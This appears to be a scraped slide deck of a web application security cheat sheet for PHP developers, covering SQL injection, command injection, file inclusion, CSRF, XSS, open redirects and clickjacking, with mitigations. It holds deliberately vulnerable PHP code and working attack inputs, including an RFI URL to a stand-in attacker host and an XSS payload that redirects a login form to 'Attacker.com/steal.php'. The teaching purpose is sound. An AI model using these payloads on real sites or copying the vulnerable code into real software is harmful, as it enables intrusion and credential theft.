Вы находитесь на странице: 1из 100

Web Application

Security on Fire;--
PHP Developers Cheat Sheet Version

Juan Carlos Mejía Mohamed A. Baset


Head of IT Security Sr. Information Security Analyst
@Th3kr45h @SymbianSyMoh
Blank Slide
Yes it’s intentionally blank ;)

Attention please…

Slide 2 of 30.000
DISCLAIMER

All techniques and demos provided on this


presentation are for educational purposes
only. Linio will not be responsible for any
action performed by any attendee.

Warning: Hacking is considered by the Law


as a crime!!
th3kr45h@hack:~#uname -a;
Juan Carlos Mejía Cano
GXPN, CEH, CISM
Twitter: @th3kr45h

 Working in the Information Security for more than 15 years


 Head of IT Security at Linio
 Past:
 Subdirector of Security Testing at HSBC
 Sr. Security Consultant at Deloitte
 Security Analyst as Freelancer

 Mad about movies ;)

 Former Basketball player (Michael Jordan is the best)


Before we start…
Do you agree with me !
 All issues are important even if these issues have a low severity impact, It must be fixed and
must not be ignored. Why?!!

 The fact that the application is SECURED because it is behind a Firewall or a VPN is a myth.
Why?!!

 These kind of vulnerabilities could be exploited separately or used with help of another ones
to create a high impact.

 Nothing is totally secured but there is the Most Secured and Hardened.

 If your code isn’t secure enough, the business will be impacted including your salary of
course.
Most common Web App Vulnerabilities
1. Injections (SQL Injection, OS Command Injection, etc…)
2. Broken Authentication and Session Management
3. File Path Traversal - Remote / Local File Inclusion AKA Directory Traversal LFI / LFI
4. Cross Site Request Forgery AKA CSRF
5. Brute Force Attacks AKA Dictionary Attack
6. Sensitive Data Exposure AKA Information Disclosure
7. Cross Site Scripting AKA XSS (Reflected, Stored, DOM Based and Self)
8. Invalidated Redirects and Forwards AKA Open Redirections
9. Click jacking AKA UI Redressing
10. Using Components with Known Vulnerabilities (Ex. Libraries, Plugins and Themes)
11. Shit in the mix.
1. Injections
1. Injections
Introduction:
Injection flaws occur when untrusted input/data is sent to an interpreter as
part of a command or query. The attacker’s manipulated supplied data
can trick the interpreter into executing unintended commands or
accessing data without proper authorization.

Types:
1. SQL Injections
2. OS Code / Command Injections
1. Injections :: SQL Injection aka SQLi
Example:
Let’s imagine that we have a vulnerable WebApp with the following SQL Query String:

String query = "SELECT * FROM accounts WHERE custID='" +


request.getParameter("id") + "'";

Attack:
In this case, the attacker modifies the ‘id’ parameter value in his browser by sending this value: ' or '1'='1

http://MyAwesomeApp.com/accountView?id=' or '1'='1

The Executed Query will be:


SELECT * FROM accounts WHERE custID='' or '1'='1'

Result:
This changes the meaning of the query to return all the records from the accounts table. More dangerous
attacks could modify data or even invoke stored procedures.

In the worse cases, Data could be altered, deleted, modified or even dumped.
1. Injections :: SQL Injection :: Live Examples

Figure (1) – SQL Injection Vulnerability / data dumping


1. Injections :: SQL Injection aka SQLi
How to mitigate/Avoid?

1. General Defenses:
-Think like attackers U/AX (User/Attackers Experience)
-Avoid spaghetti queries
-Don’t trust user/non user supplied inputs
-Don’t store passwords in a plain text in database (Salt & Hash’em all)
-Don’t assign DBA or admin type access rights to your application accounts
-Don’t run the DBMS as root or system

2. Primary Defenses:
-Use of Prepared Statements (Parameterized Queries)
-Use of Stored Procedures
-Escaping all user supplied Input, whitelisting input validation

3. Additional Defenses:
-Enforce Least Privilege (Exact privileges for each responsible account)
1. Injections :: SQL Injection aka SQLi
Example#1: Prepared Statements (Parameterized Queries)
<?php
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }

// prepare and bind


$stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname) VALUES (?, ?)");
$stmt->bind_param("ss", $firstname, $lastname);

// set parameters and execute


$firstname = "John";
$lastname = "Doe";
$stmt->execute();

//Close the connection


$stmt->close();
$conn->close();
?>

Note: If you want to insert any data from external sources (like user input), it is very important
that the data is sanitized and validated.
1. Injections :: SQL Injection aka SQLi
Example#2: Stored Procedures
<?php
//Our db connection
$mysqli = new mysqli("example.com", "user", "password", "database");
//Create a table and populate some values for an example
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"));
//Creating the stored procedure
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');
//Calling the stored procedure
$mysqli->multi_query("CALL p()"));
//Fetching the results from the stored procedures
do {
if ($res = $mysqli->store_result()) {
printf("---\n");
var_dump($res->fetch_all());
$res->free();
} else {
if ($mysqli->errno) {
echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;} }
} while ($mysqli->more_results() && $mysqli->next_result());
?>

Note: If you want to accept any data from external sources (like user input), it is very important
that the data is sanitized and validated.
1. Injections :: SQL Injection aka SQLi
Example#3: Escaping all User Supplied Input and Perform White List Input Validation

-Escaping is depends on the encoding type your DBMS you’re using, so finding the proper escaping
technique will help to prevent such attacks.

-Whitelisting the user inputs is a good way to limit sql injection attacks but not the best one.

-Use the magic of mysql_real_escape_string() to filter quotes and other inappropriate chars.

-Make use of Regular Expressions and know exactly what do you want from user to input and to be passed to
your database query.

(https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository)

-[Additional] Make use of OWASP Enterprise Security API (ESAPI) Library, It’s a free, Open Source library to
control and mitigate such attacks as SQL Injections and Cross Site Scripting.

(https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)

Introduction

Command injection is an attack in which the goal is execution of arbitrary commands on


the host operating system via a vulnerable application. Command injection attacks are
possible when an application passes unsafe user supplied data (forms, cookies, HTTP
headers etc.) to a system shell.

In this attack, the attacker-supplied operating system commands are usually executed
with the privileges of the vulnerable application.

Command injection attacks are possible largely due to insufficient input validation.
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Command Injection VS Code Injection

-The Attacker passes internal -The Attacker Injects his own code
system commands to be executed and the application execute it

-The Attacker need to be familiar -The Attacker is extending the


with the running system, Internal functionality of the vulnerable
commands and permissions to application without the need to
perform an attack. execute a system-level commands.

-More dangerous on the system -More dangerous on the application


level level
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Example #1 - Imagine that we have this piece of beautiful and organized code:

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>

And as usual we have a nice guy sent this request to your piece of code shit :
http://www.MyBeautifulApp.com/delete.php?filename=useless_file.txt;id

What do you think the response will be ?


1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Surprise..Surprise !

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

Please specify the name of the file to delete


uid=33(www-data) gid=33(www-data) groups=33(www-data)
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)

What was happened?


This id command was executed in the context of the vulnerable application.

Why?
rm useless_file.txt;id

With no proper input validation and thanks to the presence of the semicolon char which is considered
as a command splitter, The attacker now can pass any system commands to be executed by your web
app.
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Example #2 - Imagine that we have this code:

<?php
$myvar = ‘myvalue';
$x = $_GET['user'];
eval('$myvar = ' . $x . ';');
?>

And our guy came again and sent this request to your piece of code shit :

http://www.MyBeautifulApp.com/users.php?user=1; system(‘whoami')

What do you think the response will be ?


1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Surprise..Surprise !

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

nt authority\system
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)

What was happened?


This code system(whoami); was injected inside the execution lifecycle of the vulnerable
application.

Why?
eval('$myvar = ' . system(whoami); . ';');

The same reason, because there is no proper input validation the attacker now can inject a piece of
code to your application and it will do the rest.
2. Broken Authentication and Session Management
2. Broken Authentication and Session Management

Introduction:
Authentication and session management includes all aspects of handling user
authentication and managing active sessions.

Authentication is a critical aspect of this process, but even solid authentication


mechanisms can be undermined by flawed credential management functions,
including password change, forgot my password, remember my password,
account update, and other related functions.

Authentication and Session Management is all about how to protect and keep
the user’s session secure against stealing and manipulating, Tracking every
request and double checking that this request is coming exactly from this “user”
to access an exact specific feature or resource that he has access to.
2. Broken Authentication and Session Management

Examples:
-Authenticated user do a changes to any part of the system in behalf of another user
identity. “logs will show that someone else did the change”.

-Authenticated user can change information/details of other users (not his own).

-Session could be stolen and reused due to another vulnerabilities in the system (via
Cross Site Scripting).

-Wrongly Implemented features like “Forget my Password?” resulting in a “Remote


Password Reset” vulnerability which leads to mass users/customers account steal

-Weak tokens, session fixation and cryptography poses a real threat to authentication
and session management
2. Broken Authentication and Session Management

How to Avoid/Protect:
-Password Strength: Minimum length, Complexity, Expiration time.

-Password Use: Limit the login attempts, Don’t indicate whether the username or the password
that was wrong, Users must be emailed with the last successful/failed logins.

-Password Change Controls: Always ask users to introduce their old passwords before every
password change and immediately revoke their current session even if it is a valid one.

-Password Storage: All passwords must be stored hashed or encrypted, Don’t insert a hard coded
password in the source code. Hashed is the best way because its not reversible.

-Account Access lists: Users shouldn’t have access to other users names, ids or any other sensitive
information regarding the other users.
2. Broken Authentication and Session Management

How to Avoid/Protect:
-Browser Caching: Don’t send any part of user credentials, identity or session details as a part of
POST or GET Requests.

- Session IDs Protection / Credentials in Transit: Encrypt the entire login transaction and user’s
session using something like SSL to not to be intercepted.

-Session IDs: Should be long, complicated, random numbers that cannot be easily guessed.

-Session IDs: Should be changed frequently during a session to reduce how long a session ID is
valid.

-Session IDs: Must be changed when switching to SSL, authenticating, or other major transitions.

-Session IDs: Chosen by a user should never be accepted.


root@SymbianSyMoh:~#cat morning.txt;
Mohamed Abdelbasset Elnouby
Sr. Information Security Analyst @Linio
Social Media: @SymbianSyMoh
root@SymbianSyMoh:~#cat evening.txt;
Mohamed Abdelbasset Elnouby
Active Bug Bounty Hunter
Social Media: @SymbianSyMoh

Picture sources:
http://anywater.com/gallery/d/588-2/SergBugHunter.JPG
http://www.controlyourcash.com/wp-content/uploads/2014/01/59561912-rich-people.jpg
Finally!

& I hacked the Web Apps of these companies:-

etc...
3. File Path Traversal – LFI – RFI
3. File Path Traversal – LFI – RFI

Introduction:

A path traversal attack (also known as directory traversal) aims to access files
and directories that are stored outside the web root folder. By manipulating
variables that reference files with “dot-dot-slash (../)” sequences and its
variations or by using absolute file paths, it may be possible to access arbitrary
files and directories stored on file system including application source code or
configuration and critical system files. It should be noted that access to files is
limited by system operational access control.

This attack is also known as “dot-dot-slash”, “directory traversal”, “directory


climbing” and “backtracking”.
3. File Path Traversal – LFI – RFI

Related Attacks:

Local File Inclusion


The ability for the attacker to include a local file from the local server which
hosts the vulnerable web application without a proper filtration or control.

Remote File Inclusion


The same as LFI but here the attacker have the ability to include an external file
from an external server maybe a shell or any other evil files.
3. File Path Traversal – LFI – RFI

Behind the scene, a file “vulnerable.php” with this source code:


<?php
$file = $_GET['file'];
if(isset($file))
{ include("pages/$file"); }
else
{ include("index.php"); }
?>

And imagine a request like this:


/vulnerable.php?file=../../../../etc/passwd

What do you think the response will be ?


3. File Path Traversal – LFI – RFI

Surprise..Surprise !

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
testlab:f8fk3j1OIf31.:182:100:Developer:/home/users/testlab/:/bin/csh
3. File Path Traversal – LFI – RFI

What was happened?


Attacker was able to read a local file from the machine hosting the vulnerable app.

Why?
-The developer sent the repeated dot dot slash “../” characters directly to the include function this
caused include() to traverse to the root directory.

-An attacker can specify a path used in an operation on the filesystem.

-By specifying the resource, the attacker gains a capability that would not otherwise be permitted.
3. File Path Traversal – LFI – RFI

Examples.. Regarding the same vulnerable example

LFI
http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.php?f=/../../../../etc/passwd

RFI
http://testsite.com/get.php?f=http://www.AttackerHost.com/evil.php
3. File Path Traversal – LFI – RFI
Wrong Defenses “but you’re still thinking”:
#1 – Using file_exists()
-Using the file_exists() is a way to limit the attacker from being able to inject a remote file but including a local file is still
a way to break through.
http://localhost/index.php?page=/etc/passwd >>> bingo

#2 – Directory Jailing Technique


-It’s a way to jail the attacker in a specific directory “only the current one” but you can’t beat the magic of the dot dot
slash attack because it will always take the attacker one step up of your current directory.
http://localhost/index.php?page=../../etc/passwd >>> Up, Up and bingo

#3 – Adding additional strings to the included file name


-This is a way to add another suffix to the included file name like adding “.php” or “.asp” at the end of the file in a
dynamic hardcoded way. Good enough to limit more attacks but here is another magic which you can’t resist, a
Poisoning Null Byte.
http://localhost/index.php?page=/etc/passwd%00 >>> /etc/passwd%00.php bingo exists

#4 – All is good, Am I right?


-Now you supposed to be in the safe side, one light years away from LFI, RFI or even Directory Traversal but what if the
attacker want to probe your internal local services? With the following example the attacker knows a valuable info about
your internal infrastructure.
http://localhost/index.php?page=http://192.168.0.2:9080 >>> bingo it’s 200 OK
3. File Path Traversal – LFI – RFI

How to Avoid/Protect:
-Remember to have the AX.
-Trust no one.
-Filter and validate all the things.
-Assume that all the inputs are malicious.
-Know exactly what input you need and reject what you don’t.
-Black/Whitelisting will be your hero here by creating a mapping from a set of fixed input values to the
actual filenames For example, ID 1 mapping to “technology.php” and ID 2 mapping to ” economy.php ” etc.
and reject all other inputs.

<?php
if($_GET[‘id'] == ‘1') {
include('technology.php');
}
?>
Guess what? FPT, LFI and RFI dies forever…..

-Check fingerprint guide!


include(), include_once(), require(), require_once(), fopen(), readfile(), ...
4. Cross Site Request Forgery AKA CSRF

Introduction:
Cross Site Request Forgery is a type of web application vulnerabilities where it always affects the web
forms enforcing the authenticated victim to execute unwanted actions (Transferring funds, Change
the account email address), This kind of attacks can be via (POST, GET) or via XHR modern app
request types (PUT & DELETE)

Attacker send a crafted link file to victim

Figure (0) How CSRF Works


4. Cross Site Request Forgery AKA CSRF

Also Known As:

-XSRF

-Sea Surf

-Cross Site Reference Forgery

-Session Riding

-Hostile Linking

-One-Click Attack
4. Cross Site Request Forgery AKA CSRF

Example #1 “POST”:
1. Imagine that you have a bank website with a web form included, then the attacker edited the form to look
like this one:

<form action="http://bank.com/transfer.php" method="POST">


<input type="hidden" name="acct_from" value=“Alejandra"/>
<input type="hidden" name="acct_to" value=“Attacker"/>
<input type="hidden" name="amount" value="10000"/>
<input type="submit" value="View my pictures"/>
</form>

2. The attacker took ONLY the web form, Crafted an HTML page and included this piece of code:

<body onload="document.forms[0].submit()">

3. Hosted it on his own webserver, and finally sent the link to the victim.

4. What will happen?


4. Cross Site Request Forgery AKA CSRF

Example #2 “GET”:

<a href="http://bank.com/transfer.do?acct_from=Alejandra&acct_to=Attacker&amount=10000">Click Here to


win an iPhone!</a>

OR

<img src=" http://bank.com/transfer.do?acct_from=Alejandra&acct_to=Attacker&amount=10000 " width="0"


height="0" border="0“ onLoad=“alert(‘Thanks you for using the most secured bank ever’)”>

What will happen?


4. Cross Site Request Forgery AKA CSRF

Surprise..Surprise !

Alejandra (the victim) sent 10,000 dollars from her account to the Attacker’s bank
account. Of course she don’t want to do that but ACTUALLY she did and in a legal
way.

Why that happened ?


4. Cross Site Request Forgery AKA CSRF

Why that happened?

-The Attacker is skilled and was able to trick the victim.

-The victim was tricked and clicked the link sent by the attacker. “social engineering”

-The victim was properly authenticated. “session is valid”

-The request made seems legit. “made by the victim itself”

-No protection or any tokens send along with the request. “something secret the attacker can’t
know or guess”

-The absence of additional mechanism to protect the transfer process. “SMS confirmation code
or two factor authentication”
4. Cross Site Request Forgery AKA CSRF

Example #3 “XML HTTP Request”:

<script>
function doIT() {
var x = new XMLHttpRequest();
x.open("PUT","http://bank.com/transfer.php",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({"acct_from":“Alejandra", "acct_to":"Attacker", "amount":10000})); }
</script>
<body onload="doIT()">

Do you think this attack will work ?


4. Cross Site Request Forgery AKA CSRF

The answer is:

No and maybe Yes

Why?
4. Cross Site Request Forgery AKA CSRF

The good news is that attack will not work at the most cases, Modern browsers nowadays have a new
restrictions and protection mechanisms.

-Thanks to SOP (Same-Origin-Policy).

- SOP is enabled by default on every modern browser.

- Unless the target force the browser to ignore it by opening it up for everyone by using CORS or
Cross Origin Resource Sharing by applying this server-side header:
Access-Control-Allow-Origin: *
4. Cross Site Request Forgery AKA CSRF

Mitigation and Prevention :


-Remember to have the AX.
-Make sure that you don’t have any Cross Site Scripting vulnerabilities.
-Use an Anti-CSRF tokens which is considered as a secret.
-Your Anti-CSRF Token has to be something hard to be guessed.
-Don’t use any tokens in a GET Requests.
-Avoid Anti-CSRF token fixation/reusable tokens.
-Inserting your Anti-CSRF tokens as a request header is the best way to mitigate this issue.
-Implement SSL/HTTPS to protect your anti-csrf token from being leaked via MITM Attacks.
-Double check the “referrer” header value.
-Double check the “origin” header value, support HTTPS requests.
-Depend on a specific framework if your application is a big one, Frameworks like “Joomla, Ruby
on Rails, PHP Frameworks, etc..” implement Anti-CSRF tokens by default.
-If (for any reason) you have been forced to implement your anti-csrf token into your cookies
don’t forget to protect it with “HTTPONLY” and “SECURE” cookie flags.
-Check your Crossdomain.xml file if you have it.
-Other techniques: 1. CAPTCHA 2. Re-Authentication 3. One-Time tokens
4. Cross Site Request Forgery AKA CSRF

An example of a hardened request: Request is server via POST method


POST /ChangeEmail HTTP/1.1 and protected with SSL/HTTPS
Host: MySafeWebSite.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 XSRF-Secret value as a request
Accept-Encoding: gzip, deflate header, Hard to be guessed
XSRF-Secret: 60bUJWfjie6196f08NYRfj8f43896f3cab50833896f3caASpd28 and non reusable.
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 The application is always checking
Origin: MySafeWebSite.com for the origin.
Cookie: Your Cookie Here; Secure; HttpOnly
Connection: keep-alive Cookies are protected against XSS
Pragma: no-cache and MITM Attacks
Cache-Control: no-cache

NewEmail=symbiansymoh@gmail.com&OldPassword=TheOldPassword Additional Protection mechanism.


5. Brute Force Attacks AKA Dictionary Attack

Introduction:
Brute force attacks in a simple way, Its all about flooding the service with the requests regarding
guessing the user credentials via prepared dictionary or randomly generated strings, claiming a
service by guessing confirmation codes, Coupons “ecommerce” or Harvesting customer data etc..

Attacker floods the vulnerable server with a


guessing requests regarding the needed
informations

No proper mitigation or policies for account


lockouts results in receiving the requested
data

The webapp responds to the requested


requests in a true/false pattern.

Figure (0) How Brute Force Attacks Works


5. Brute Force Attacks AKA Dictionary Attack

Valid Code
found
among the
sent requests

140 requests A distinguish


sent so far string found in
the response

Figure (1) Burp suite Intruder attacking United.com redemption code Example
5. Brute Force Attacks AKA Dictionary Attack

Mitigation and Prevention :


-Remember to have the AX.

-Rate Limitation. (Login Area)

-CAPTCHA. (forget my password)

-Implement a proper Account Lockout Policy. (account lockout after specific failure login
attempts)

-Temporary accounts lockout for slowing down the attack. (20 minutes)

-Implement an intelligent mechanism to do the account lockouts and in the same time allow the
accounts to be opened for the legitimate users. (trusted devices auto-sense)

-Implement multi factor authentication. (mFA)

-Use Authentication Protocols (Oauth - OpenID)


6. Sensitive Data Exposure AKA Information Disclosure

Introduction:
Revealing system data or debugging information helps the attacker learn about the system and form a plan of
attack. An information leak occurs when system data, debugging information and logging function are being
displayed to the user/the attacker.

Attacker sending a malformed


request

The App responds with a


sensitive data

Figure (0) Explaining the information disclosure vulnerability


6. Sensitive Data Exposure AKA Information Disclosure

How could the attacker make use of this information?


- FPD will be useful in leveraging SQL Injection attacks to RCEs (leaking folder names, host names)

- Helps in Social Engineering attacks.

- Gives the attacker enough knowledge about the target (OS, WebApp type, firewall, etc..)

- Leaking customer/business information.

- Helps a lot of other attacks (path traversal)

Example:
Warning: mysql_pconnect():
Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/includes/database.inc on line 4
6. Sensitive Data Exposure AKA Information Disclosure

Example:
A vulnerable code:
<?php
echo file_get_contents(getcwd().$_GET['page']);
?>

The attack:
http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php

The result:
The attacker has successfully red the config file
<?php
//Hidden configuration file containing database credentials.
$hostname = 'localhost';
$username = 'root';
$password = ‘toor';
$database = 'example_site';
$connector = mysql_connect($hostname, $username, $password);
mysql_select_db($database, $connector);
?>
6. Sensitive Data Exposure AKA Information Disclosure

How that could be happen?


-Accidently let the exceptions, debug information, error messages and other sensitive data displayed to the
end-user. (Throwing the exceptions in a bad way)

-Empty Arrays. (display.php?page[]=about)


Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/display.php on line 131

-Null Session Cookie - javascript:void(document.cookie="PHPSESSID=");

-Invalid Session Cookie - javascript:void(document.cookie="PHPSESSID=XXXXXXXXXXXXXXXXXXX…..X");


Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2

-Direct Access to files (access to files that need another libraries to be loaded first)
http://site.com/.../tiny_mce/plugins/spellchecker/classes/PSpellShell.php
<br />
<b>Fatal error</b>: Class 'SpellChecker' not found in
<b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.p
hp</b> on line <b>9</b><br />
6. Sensitive Data Exposure AKA Information Disclosure

Prevention/Mitigation:
-Good mechanisms and flows preventing this problem at the design phase is the best way to mitigate the
issue.

-Prevent throwing any exceptions to the production environment

-Disable error reporting in the live environments. error_reporting(0);

-Alter all your exceptions and error messages to something the user can understand. NOT THE ATTCKER

-You can test your app with this tool “Inspathx” - https://code.google.com/p/inspathx/

-Do a code review for all your .php files, plugins and themes (CMS, Frameworks) and fix all the errors,
exceptions throwing.
6. Sensitive Data Exposure AKA Information Disclosure

Hostname: uaatsu
Programming Language: PHP
CMS/Framework: WordPress
/releases: means there might be another releases so attackers can dig for more releases
Figure (1) United Airlines “Airtime service” Full Path disclosure
7. Cross Site Scripting AKA XSS

Introduction:
Cross Site Scripting is a client-side type of attacks/injections where the attacker is able to inject
a JavaScript piece of code inside the trusted websites, This piece of code is going to be
executed on the victim’s client side level and the browser always trust in the injected script
because it always came from a trusted source.

Types: “based on the severity”


1. Stored
2. Reflected
3. DOM-Based
4. Self
7. Cross Site Scripting AKA XSS
Impact:

1. Stealing User’s cookie/session.

2. Simulate clicks, Keystrokes and even both at the same time

3. Manipulating the DOM behavior. “change the form action to steal data”

4. Injecting a non existed elements in the vulnerable page. “Please insert your CVV here”

5. Redirecting users to rouge websites

6. Hijacking User Session, showing and injecting ads

7. Simulate a Keylogger behavior.

8. In some cases the attack can be leveraged to have a higher impact if merged with other
vulnerabilities.
7. Cross Site Scripting AKA XSS

Behind the scene:


-For testing against cross site scripting vulnerabilities is to pass a piece of code called payload
as a value into any input/parameter via any method (POST, GET, PUT, etc..)

-The most common payloads is "><img src=x onerror=alert(1)> and sometimes


"><svg/onload=confirm(1)>

-The payload type is always depends on the injection context.

-Due to the improper input filtration the payload is going to be injected in the vulnerable page.

-The double quotes + the greater than chars "> are going to do the magic here.

-Closing the vulnerable tag and opening a new evil one.

-There is no valid x image, so the onerror event is going to be triggered.

-JavaScript code is executed now.


7. Cross Site Scripting AKA XSS

Persistent / Stored Cross Site Scripting


The most dangerous type of XSS, It stored that means the payload will be stored in the
database and it will get executed whenever the vulnerable page called by any user if this page
was publicly accessible. For example “user profile page”

The payload
going to stored DB
in the database

WebApp
Sending a The victim is
payload as a requesting the
value to the vulnerable
vuln App. page

Attacker Data Stolen Victim

Figure (0) How Stored XSS works


7. Cross Site Scripting AKA XSS

Figure (1) Stored XSS affecting AVGMobilation Service


7. Cross Site Scripting AKA XSS

Non-persistent / Reflected Cross Site Scripting


It’s a type of XSS which is reflected when the victim requests a url via a POST or GET requests and
requires the victim interaction “click on a specific vulnerable link”.

Example:
https://app.box.com/login?redirect_url="><script>document.getElementById('login_form').setAttribute('actio
n','http://Attacker.com/steal.php')</script>

Vulnerable Parameter:
redirect_url

Payload:
"><script>document.getElementById('login_form').setAttribute('action','http://Attacker.com/steal.php')</scri
pt>

Payload Explanation:
This payload presented here is the best way to exploit a login page which is vulnerable to XSS attacks,
Simply it alter the action attribute of the login form and send the victim credentials to the attacker via a php
script.
7. Cross Site Scripting AKA XSS

Figure (2) Reflected XSS found in BOX.com Cloud Service


7. Cross Site Scripting AKA XSS

DOM-Based Cross Site Scripting


Type of XSS where reflection is not made by the server “the page source code was delivered clean to the
browser and the browser will start to draw the DOM objects but with the evil supplied data received from
the attacker.

The server receives the The Browser is the


request and send the responsible for the
response to the victim’s injection by drawing the
The victim is DOM objects with the
browser without any
requesting the supplied inputs.
injections “clean”
vulnerable
page

Victim Here is the difference, The


The payload was injected
reflected XSS will start to be
and the victim have
injected and delivered to the
Sending a been XSSed
browser starts from here.
crafted link with
the payload to
the victim

1. Attacker Data Stolen Victim

Figure (3) How DOM-Based XSS works


7. Cross Site Scripting AKA XSS

Imagine this piece of code:

Select your Favorite Pet:


<select><script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>Dogs</OPTION>");
</script></select>

So imagine this request to the vulnerable code:

http://localhost/dom.html?default=<script>alert(9)</script>
7. Cross Site Scripting AKA XSS
What if we checked the source code of the page?

Nothing, No injected payloads. Magic?!


If you still remember this part “The server send the response to the browser without any
injections”

You’re not sleeping ZZzzzz 


7. Cross Site Scripting AKA XSS
But What if we checked DOM Explorer?

Yeah, Our payload is injected here!!!


Because the injection was made on the browser-level not on the server
response level
7. Cross Site Scripting AKA XSS
Self Cross Site Scripting
It’s a type of XSS which is reflected only on yourself, within a page that only you “user/victim” can access,

It’s not that important but sometimes it’s game changer HOW ?
Remember remember, Merging more than one attack together = higher impact.

Imagine that a self-xss attack with a Login CSRF attack?

#1
Attacker will be able to forge a login request, Inject a special DOM Objects that was not existed
before, Like asking the victim to re-enter his own credit card details including the CVV number
which in fact is not presented by the website itself, This data is going to be sent to the attacker
BTW.

#2
If the website is vulnerable to CSRF attack causing this payload to be stored in a specific page,
Self XSS will play a vital role here, CSRF to inject the payload, Directing the user to the
vulnerable page, Boom!!.
7. Cross Site Scripting AKA XSS
How to avoid/mitigate?

Filter and Sanitize!

All the inputs.


7. Cross Site Scripting AKA XSS
How to Avoid/Protect:
-Remember to have the AX.
-Trust no one.
-Don’t trust user inputs.
-Don’t trust cookies.
-Don’t trust the API callbacks.
-Use htmlentities function but be careful, it’s not 100% trusted.
-The best way is to use the OWASP Enterprise Security API project, It’s easy
to implement, Open Source has a full set of filtration features.

So easy:

String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) );


8. Invalidated Redirects AKA Open Redirections

Introduction:
Open redirections or invalidated forwards or invalidated redirects is a kind of typical web application vulnerabilities
occurs when the application fails to control the redirection to an external website/url.

Open redirection and xss

2. Victim clicked on 1. Attacker sent


3. The app the link because it a url to victim
failed to seems legit
control the
redirection

5. The user has 6. Finally data was


introduced his sent to the attacker
sensitive data

4. The user has been


redirected to a
phishing website
8. Invalidated Redirects AKA Open Redirections

How to exploit this kind of vulnerabilities?

- Phishing attacks. exploiting the trust. Figure(0)

- Stealing sensitive data (hashes and tokens)

- Bypass protection mechanisms (CSRF protected with referer)

<?php
session_start();
$allowed_host = 'secured.com';
$host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if(substr($host, 0 - strlen($allowed_host)) == $allowed_host)
{ echo 'You shall pass'; }
else
{ echo 'You shall not pass'; }
?>

So the open redirection will be responsible for sending the referer along with the get/post request results in
bypassing the referer check clarified in above example.
8. Invalidated Redirects AKA Open Redirections

How to exploit this kind of vulnerabilities?


- Open redirection leads to XSS attacks

Example #1:
<?php
$redir_url = $_GET['url'];
print "<html><head>\n<title>Redirecting ...</title>\n";
print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">";
print "</head>\n";
print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n";
print "</html>";
?>
8. Invalidated Redirects AKA Open Redirections

Attack url:
http://localhost/redir.php?url="><img src=x onerror=alert(1)>

The result:
8. Invalidated Redirects AKA Open Redirections

How to exploit this kind of vulnerabilities?


- Open redirection to XSS attacks

Example #2:
<?php
$redir_url = htmlentities($_GET['url'], ENT_QUOTES, "UTF-8");
print "<html><head>\n<title>Redirecting ...</title>\n";
print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">";
print "</head>\n";
print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n";
print "</html>";
?>
8. Invalidated Redirects AKA Open Redirections

Attack url #2:


http://localhost/redir.php?url=javascript:alert(9)

The result:
8. Invalidated Redirects AKA Open Redirections

Mitigation and Prevention:

-Avoid using redirects and forwards.

-Don’t allow the url as user input for the destination. (Unless you can control it’s validity “Linkshim” )

-Always rewrite all the urls in the right format.

-Sanitize input by creating a list of trusted URL's (using regex).

-Force all redirects to first go through a page notifying users that they are going off of your site and redirect him with
a confirmation.
9. Click jacking AKA UI Redressing

Introduction
This type of attacks occurs when an attacker uses a transparent layers to trick users into clicking on a
button or link on another page when they were not intending to click on it. So the attacker is fooling the
victim by visiting the same page but in a new dressing.
9. Click jacking AKA UI Redressing

Avira User Accounts Page before being dressed

Figure (0) Avira.com Click Jacking vulnerability


9. Click jacking AKA UI Redressing

Avira User Accounts Page being redressed

Figure (1) Avira.com Click Jacking vulnerability


9. Click jacking AKA UI Redressing

Avira User Accounts Page after being fully UI redressed


The original Avira User
Profile page is totally
transparent in the
background

Then tricking him into


Attacker is tricking the clicking the confirm
user to alter his email button
address with the
attacker’s one

Figure (2) Avira.com Click Jacking vulnerability


9. Click jacking AKA UI Redressing

Mitigation and Prevention:


